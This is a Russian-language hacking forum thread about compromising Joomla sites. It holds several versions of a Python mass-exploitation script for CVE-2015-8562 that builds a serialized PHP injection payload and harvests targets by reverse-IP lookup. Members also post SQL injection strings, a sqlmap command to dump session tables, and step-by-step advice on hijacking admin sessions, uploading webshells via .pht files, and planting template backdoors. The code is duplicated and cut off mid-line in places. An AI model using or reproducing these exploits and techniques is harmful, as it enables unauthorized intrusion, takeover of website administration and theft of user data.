exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
}
#print url
try:
response = requests.get(url, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"
pl = generate_payload("phpinfo();")
#text = get_url(host, pl)
#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);
for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True
if(domain and read_file):
usage()
exit()
if(domain == "" and read_file == ""):
usage()
exit()
if(write_log == True):
fh = open(log_file, "w")
fh.close()
#use file or get domains from viewdns.info
if(domain):
sites = get_site_list(domain)
#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
Зависает - скорее всего если сайт недоступен. Допиши плиз чтобы таймаут был. JOOMLA 1 и 2 не пробивает в чем может быть дело. Проверял 500 доменов. 3 - отлично сканирует.
http://www.joomlaexploit.com/ БД уязвимостей джумлы.
private_static
26.12.2015, 02:59
↑ (https://antichat.live/posts/3929517/)
Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.
'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import sys
import re
import requests
import getopt
message = "--"
def get_url(url, user_agent):
global message
headers = {
#'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers).cookies
for _ in range(3):
response = requests.get(url, timeout=15, headers=headers,cookies=cookies)
except Exception as ex:
#print ex.message
message = "Error: " + str(ex.message)
if response:
#print "got response"
#print response.content
return response.content
return None
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
}
#print url
try:
response = requests.get(url, timeout=15, headers = headers)
text = response.content
#print text
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"
pl = generate_payload("phpinfo();")
#text = get_url(host, pl)
#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);
for opt, arg in opts:
if opt in("-f", "--file"):
read_file = arg
elif opt in("-d", "--domain"):
domain = arg
elif opt in("-l", "--log"):
log_file = arg
write_log = True
if(domain and read_file):
usage()
exit()
if(domain == "" and read_file == ""):
usage()
exit()
if(write_log == True):
fh = open(log_file, "w")
fh.close()
#use file or get domains from viewdns.info
if(domain):
sites = get_site_list(domain)
#print sites
print "Total " +str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif(read_file):
fh = open(read_file,"r")
data = fh.readlines()
fh.close()
print "Total " +str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
прикрутил поддержку работы через http прокси
'''
joomla rce masschek for CVE-2015-8562
bb special for antichat.ru
thx to: Gary@Sec-1 ltd, antichat community
19.12.2015
'''
import getopt
import re
import requests
import sys
message = "--"
proxy = {}
def get_ip():
ip = requests.get('http://icanhazip.com', proxies=proxy).content
return ip
def get_url(url, user_agent):
global message
headers = {
# 'User-Agent': user_agent
'x-forwarded-for': user_agent
}
response = None
try:
cookies = requests.get(url, timeout=15, headers=headers, proxies=proxy).cookies
for i in xrange(3):
response = requests.get(url, timeout=15, headers=headers, cookies=cookies, proxies=proxy)
except Exception as ex:
message = "Error: " + str(ex.message)
if response:
return response.content
return None
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd'
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def get_site_list(domain):
url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
}
try:
response = requests.get(url, timeout=15, headers=headers, proxies=proxy)
text = response.content
sites = re.findall("\s+(.*?)"
print "Options:"
print "-d, --domain domain for reverse lookup on viewdns.info"
print "-f, --file file with site list to check"
print "-l, --log save result to log file"
print "-p, --proxy use http proxy"
print "Example: " + sys.argv[0] + " --file domains.txt --log output.txt --proxy 127.0.0.1:3128"
pl = generate_payload("phpinfo();")
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:p:", ["file=", "domain=", "log=", "proxy="]);
for opt, arg in opts:
if opt in ("-f", "--file"):
read_file = arg
elif opt in ("-d", "--domain"):
domain = arg
elif opt in ("-l", "--log"):
log_file = arg
write_log = True
elif opt in ("-p", "--proxy"):
proxy_data = ""
arg = arg.lower()
if not arg.startswith("http://"):
proxy_data = "http://" + arg
else:
proxy_data = arg
proxy["http"] = proxy_data
if (domain and read_file or domain == "" and read_file == ""):
usage()
exit()
if (write_log):
fh = open(log_file, "w")
fh.close()
# use file or get domains from viewdns.info
if (domain):
sites = get_site_list(domain)
print "Total " + str(len(sites)) + " sites to check"
check_sites(sites, pl, write_log, log_file)
elif (read_file):
fh = open(read_file, "r")
data = fh.readlines()
fh.close()
print "Total " + str(len(data)) + " sites to check"
check_sites(data, pl, write_log, log_file)
юзается так: --proxy ip:рort
blackhead
30.12.2015, 19:11
↑ (https://antichat.live/posts/3928733/)
Подкоректировал сплоит (
https://www.exploit-db.com/exploits/38977/
)
Ребята подскажите как пользоваться (с Python'ом (http://python.su/forum/29/)не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.
nick_sale
31.12.2015, 00:27
↑ (https://antichat.live/posts/3934250/)
Ребята подскажите как пользоваться (с
Python'ом (http://python.su/forum/29/)
не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.
Для начала тебе надо поставить библиотеку requests.
Открываешь консоль переходишь в папку \Python\Scripts и дальше пишешь коммнду pip install requests, либо easy_install requests.
Все просто
Telariust
19.02.2016, 11:23
Joomla 3.x
Раскрытие пути
Работает вне зависимости от "error_reporting" и "display_errors"
/index.php?option=com_ajax&format=debug&module=1
Например, полный путь необходим для выгрузки в файл [sql-inj]+into+outfile+'/path/to/joomla/cache/s.php'--+-
Telariust
20.02.2016, 08:51
Joomla 3.x
RSS - Раскрытие email пользователей и их ранга.
(или как узнать mail админа)
/index.php?format=feed&type=rss
или
/index.php?format=feed&type=atom
Каждое сообщение подписано, ищем строчки вроде:
mymail@myjoomla.com (mailto:mymail@myjoomla.com) (Super User)
mymail@myjoomla.com (mailto:mymail@myjoomla.com) (Ichthus)
winstrool
09.11.2016, 12:35
↑ (https://antichat.live/posts/4011090/)
странно почему здесь никто не обсуждает уязвимости свежии джумлы
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....
jakonda1001
09.11.2016, 15:01
↑ (https://antichat.live/posts/4011225/)
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....
а еще подробнее?)
↑ (https://antichat.live/posts/4011225/)
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....
Если бы не это, в /components/com_users/controllers/registration.php, то вообще ништяк:
// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') ==0||$uParams->get('allowUserRegistration') ==0)
{
JError::raiseError(403,JText::_('JLIB_APPLICATION_ ERROR_ACCESS_FORBIDDEN'));
returnfalse;
}
↑ (https://antichat.live/posts/4011277/)
а еще подробнее?)
Дак вот даже полноценный сплоит написали: https://github.com/XiphosResearch/exploits/tree/master/Joomraa
По поводу аплоада шелла -- в debian'оподобных системах можно залить шелл с расширением pht. Джумла смотрит внутри файла html-теги и шорт-теги php, однако они забыли фильтровать тег
axelmill
17.11.2016, 20:36
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?
Как вариант поискать модули,компоненты где можно устанавливать шаблоны и т.к
winstrool
18.11.2016, 19:19
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?
А в чем проблема простой php залить?
почти везде вот такая хрень там
SetHandler application/x-httpd-php
.php просто не заливается
winstrool
18.11.2016, 22:57
↑ (https://antichat.live/posts/4014631/)
почти везде вот такая хрень там
SetHandler application/x-httpd-php
.php просто не заливается
Почти везде? точно знаете? ну вот банально на днях сайт лечил там расширение было .php. и вполне нормально шел выполнялся, на хостинге timewe, второй момент, если есть возможность редактировать шаблон, то можно встроить в него бегдор и переименовать .htaccess чтоб не мешался, третий момент, в зависимости от установленных расширений, в них тоже попадаются баги которые бывает приводят к RCE, что может помочь залить шелл, на примере того же RSForm, я так понял вы пытаетесь пробить конкретную площадку, а не массово, тут все индивидуально!
↑ (https://antichat.live/posts/4014266/)
Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?
Еще раз говорю, pht работает в дебиано-подобных системах. На какой-нить CentOS это работать не будет.
axelmill
28.11.2016, 22:56
↑ (https://antichat.live/posts/4014676/)
Еще раз говорю, pht работает в дебиано-подобных системах. На какой-нить CentOS это работать не будет.
Да не работает pht в этом случае
Ищу вариант залиться. Есть CVE-2016-9081, позволяющая перезаписать данные суперпользователя, но получается такая фигня
http://i.imgur.com/673Ucu8.png
Супер-пользователь будет не активирован, а при переходе по ссылке активации из email:
Предупреждение
Не удалось зарегистрировать пользователя: Не удалось сохранить данные об активации учётной записи: User not Super Administrator
Существует ли способ активировать супер-пользователя?
еще откопали
Project: Joomla!
SubProject: CMS
Severity: High
Versions: 1.6.0 through 3.6.4
Exploit type: Elevated Privileges
Reported Date: 2016-November-04
Fixed Date: 2016-December-06
CVE Number: CVE-2016-9838 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9838)
КТО знает как работает?
внесены изменения: разница между 3.6.4 и 3.6.5
1. /+//plugins/authentication/joomla/joomla.php
JUserHelper::hashPassword($credentials['password']);
2. /+//libraries/cms/form/field/usergrouplist.php
$checkSuperUser = (int) $this->getAttribute('checksuperusergroup', 0);
$isSuperUser = JFactory::getUser()->authorise('core.admin');
if ($checkSuperUser && !$isSuperUser && JAccess::checkGroup($group->id, 'core.admin'))
{
continue;
3. //libraries/joomla/access/access.php
return boolean|/+/null / True if a/-/uthorised/+/llowed, false for an explicit deny, null for an implicit deny
4. /+/ libraries/joomla/user/helper.php
* Check if there is a super user in the user ids.
* @param array $userIds An array of user IDs on which to operate
* @return (https://antichat.live/members/142582/) boolean True on success, false on failure
* @since 3.6.5
public static function checkSuperUserInUsers(array $userIds)
{
foreach ($userIds as $userId)
{
foreach (static::getUserGroups($userId) as $userGroupId)
{
if (JAccess::checkGroup($userGroupId, 'core.admin'))
{
return true;
}
}
}
return false;
5. libraries/joomla/user/user.php
return $this->isRoot ? true :/+/ (bool) /JAccess::check($this->id, $action, $assetname)
6. /components/com_users/models/registration.php
/- /
foreach ($temp as $k => $v)
{
/+/
$form = $this->getForm(array(), false);
foreach ($temp as $k => $v)
{
// Only merge the field if it exists in the form.
if ($form->getField($k) !== false)
{
7./administrator/components/com_config/model/component.php
/+/
// Check super user group.
if (isset($data['params']) && !JFactory::getUser()->authorise('core.admin'))
{
$form = $this->getForm(array(), false);
foreach ($form->getFieldsets() as $fieldset)
{
foreach ($form->getFieldset($fieldset->name) as $field)
{
if ($field->type === 'UserGroupList' && isset($data['params'][$field->fieldname])
&& (int) $field->getAttribute('checksuperusergroup', 0) === 1
&& JAccess::checkGroup($data['params'][$field->fieldname], 'core.admin'))
{
throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_ SAVE_NOT_PERMITTED'));
8. /administrator/components/com_joomlaupdate/models/default.php
/-/ $basename = basename($packageURL)
/+/
;headers = get_headers($packageURL, 1);
// Follow the Location headers until the actual download URL is known
while (isset($headers['Location']))
{
$packageURL = $headers['Location'];
$headers = get_headers($packageURL, 1);
}
// Remove protocol, path and query string from URL
$basename = basename($packageURL);
if (strpos($basename, '?') !== false)
{
$basename = substr($basename, 0, strpos($basename, '?'));
}
9. /administrator/components/com_users/models/user.php
/+/ use Joomla\Utilities\ArrayHelper;
/+/
$user_ids = ArrayHelper::toInteger($user_ids);
// Check if I am a Super Admin
$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');
// Non-super super user cannot work with super-admin user.
if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids))
{
$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SU PERUSER'));
return false;
/-/JArrayHelper::toInteger($user_ids);
/-/
// Get the DB object
$db = $this->getDbo();
JArrayHelper::toInteg
/+/
JArrayHelper::toInteger($user_ids);
// Check if I am a Super Admin
$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');
// Non-super super user cannot work with super-admin user.
if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids)
{
$this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SU PERUSER'));
return false;
========
if ((/-/!JFactory::getUser()->get('isRoot')/+/$iAmSuperAdmin /&& JAccess::checkGroup($group_id, 'core.admin')) || $group_id getDbo();
и в /administrator/components/com_users/config.xml
добавлено
Joomla! 2.5.2 - Admin Creation Exploit
(http://0day.today/exploit/26803)
http://0day.today/exploit/26803
У кого-нибудь получилось заюзать?
у меня выдает:
Traceback (most recent call last):
File "C:\Python27\jl.py", line 50, in
del data['jform[groups][]']
KeyError: 'jform[groups][]'
↑ (https://antichat.live/posts/4040885/)
Joomla! 2.5.2 - Admin Creation Exploit
(http://0day.today/exploit/26803)
http://0day.today/exploit/26803
У кого-нибудь получилось заюзать?
у меня выдает:
Traceback (most recent call last):
File "C:\Python27\jl.py", line 50, in
del data['jform[groups][]']
KeyError: 'jform[groups][]'
#!/usr/bin/python3
Парни подскажите решение задачки:
джумла 3.4.3
Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution (который записует шелл туда, где можно пописать)
есть SQL Inj вполне рабочая
при обращении к файлу с расширением php получаем No input file specified. (не распространяется на папку administrator)
Есть пути сервера.
Вопрос, как понять что нужно, что бы заработал сплоит? возвращает 200
И еще, подскажите пожалуйста, как брутится соленый хеш от джумлы такого вида?
$2y$10$rla38JSwQPTNw6lEyvekK.tyWSm2vdZyGCMDa.eb9FT 6Jtoftz4E.
К нему нужна соль? Если да, то где ее искать.
Зарание спасибо.
↑ (https://antichat.live/posts/4058263/)
Парни подскажите решение задачки:
джумла 3.4.3
Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution (который записует шелл туда, где можно пописать)
есть SQL Inj вполне рабочая
при обращении к файлу с расширением php получаем No input file specified. (не распространяется на папку administrator)
Есть пути сервера.
Вопрос, как понять что нужно, что бы заработал сплоит? возвращает 200
И еще, подскажите пожалуйста, как брутится соленый хеш от джумлы такого вида?
$2y$10$rla38JSwQPTNw6lEyvekK.tyWSm2vdZyGCMDa.eb9FT 6Jtoftz4E.
К нему нужна соль? Если да, то где ее искать.
Зарание спасибо.
1. Чтобы РСЕ сработал, нужно что бы еще и сам сервак был определенной версии
Проверять вот тут https://scan.patrolserver.com/joomla/CVE-2015-8562
2. Такой хеш НИЧЕМ не брутится.
=============================
Решение задачи:
1. Ждать пока админ зайдет на сайт, и спиздить сессию из таблицы xxxxx_sessions, только сначала посмотри последнюю дату визита админа. это может быть 1917 год и тогда это решение не прокатит. Если админ заходил на днях - лови его, через каждые 15 минут запускай
-u "САЙТ/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=*" --where="guest=0" --dump -D НАЗВАНИЕ_БД -T ТВОЙПРЕФ_session -C session_id
ps. Если не получится скинь сайт в личку, гляну что с ним делать
Спасибо. Сплоит не сработал.
Сессии есть, но среди них нету не одной где guest=0
Как грамотно подставить джумловские кукисы?
в лс отписал.
За хеш не понял... как так-то?
Блять нету потому что на сайте никого нету.
1. туда заходили вчера - значит сайт живой и ходят туда постоянно.
2. когда кто нибудь зайдет - появится сейссия guest=1
3. дампишь ее
4. я исплую плагин cookie manager для firefox
5. заходишь сайт.com/administrator
6. врубаешь cookie manager и ищеш сайт
7. заменяешь сессию
8. обновляешь страницу администратора и ты в админке
9. создаешь быстро юзера пока админ не вышел
Доступно, спасибо.
Ребят, а если я извлек из бд конструкцию ввида
__default|a:7:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1489159042;s:18:"session.timer.last";i:1489159042;s:17:"session.timer.now";i:1489159042;s:22:"session.client.browser";s:171:"Mozilla/5.0 (Linux; Android 4.4.4; SM-T116 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Safari/537.36 [FB_IAB/FB4A;FBAV/114.0.0.20.70;]";s:8:"registry";O:24:"Joomla\\Registry\\Registry":2:{s:7:"\\0\\0\\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\\0\\0\\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"1";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\\0\\0\\0_params";O:24:"Joomla\\Registry\\Registry":2:{s:7:"\\0\\0\\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\\0\\0\\0_authGroups";a:1:{i:0;i:1;}s:14:"\\0\\0\\0_authLevels";a:2:{i:0;i:1;i:1;i:1;}s:15:"\\0\\0\\0_authActions";N;s:12:"\\0\\0\\0_errorMsg";N;s:13:"\\0\\0\\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\\0\\0\\0_errors";a:0:{}s:3:"aid";i:0;}}
как преобразовать это в кукис?
разобрался, все оказалось до боли просто.
Сори за флуд
mazaxaka
26.03.2017, 01:56
↑ (https://antichat.live/posts/4041038/)
#!/usr/bin/python3
на 3Х он тоже вроде работает, но сама уязвимость не срабатывает
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:
http://pastebin.com/raw/Xs8k2cHG
Видео его работы тут:
Стоит Python 3
при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:
line 48
print get_url(i, pl)
^
SyntaxError: invalid syntax
Подскажите что может быть не так?
↑ (https://antichat.live/posts/4068027/)
Парни, подскажите пожалуйста, пытаюсь протестировать сайт с помощью следующего эксплоита:
http://pastebin.com/raw/Xs8k2cHG
Видео его работы тут:
Стоит Python 3
при попытке запуска файла с эксплоитом в интерпретаторе вылазеет ошибка:
line 48
print get_url(i, pl)
^
SyntaxError: invalid syntax
Подскажите что может быть не так?
Оператор print был заменён функцией print(), с именованными аргументами для замены большей части синтаксиса старого оператора print
Используйте 2-ю версию python вместо 3 или перепишите код вручную под 3ю ветку
Парни, а если админ не заходит на сайт можно ли с помощью SQL inj попробовать востановить пароль админа?
winstrool
03.08.2017, 15:45
SQL-инъекция в компоненте ccNewsletter v2.1.9
option=com_ccnewsletter&view=detail&id=73&sbid=-3094 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626a71,0x4357474c4d55647264 6b43704f44476e64694f6a6d6d6873795552656d5446767846 466e63677974,0x71766b6a71),NULL,NULL,NULL,NULL,NUL L,NULL,NULL-- CCQB&tmpl=newsletter
Источник https://waf.pentestit.ru/vulns/844
Вроде не было нигде.
SQL-инъекция joomla 3.x
Компонент option=com_faqftw уязвимый параметр item
serg1234
27.11.2017, 12:06
↑ (https://antichat.live/posts/4132652/)
Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection (https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/)
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
я новичек - подскажите как это использовать? )
pritomnik
27.11.2017, 21:21
↑ (https://antichat.live/posts/4154000/)
я новичек - подскажите как это использовать? )
В 99% случаях никак) Забудь!
serg1234
28.11.2017, 10:11
↑ (https://antichat.live/posts/4154199/)
В 99% случаях никак) Забудь!
ну 1% надежды - это уже немало! )
в принципе скрипт этот я нашел, но он не выполняет полный перебор - делает один цикл и завершает работу - не понятно пока отчего так
https://www.exploit-db.com/exploits/47465 у кого нибудь сработало ?
Pop-Xlop
11.10.2019, 03:07
↑ (https://antichat.live/posts/4337604/)
https://www.exploit-db.com/exploits/47465
у кого нибудь сработало ?
Направление показано верное, а сплойт естественно работать не будет. Да и не актуально уже станет через пару дней.
winstrool
11.10.2019, 06:31
↑ (https://antichat.live/posts/4337604/)
https://www.exploit-db.com/exploits/47465
у кого нибудь сработало ?
Это старая бага, что была в jooml'e, Version: 3.0.0 --> 3.4.6, RCE через унсериализацию, просто видимо выложили свою реализацию эксплоита...
karkajoi
24.10.2019, 10:25
joomla 3.4.6 rce
https://www.exploit-db.com/exploits/47539 metasploit
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot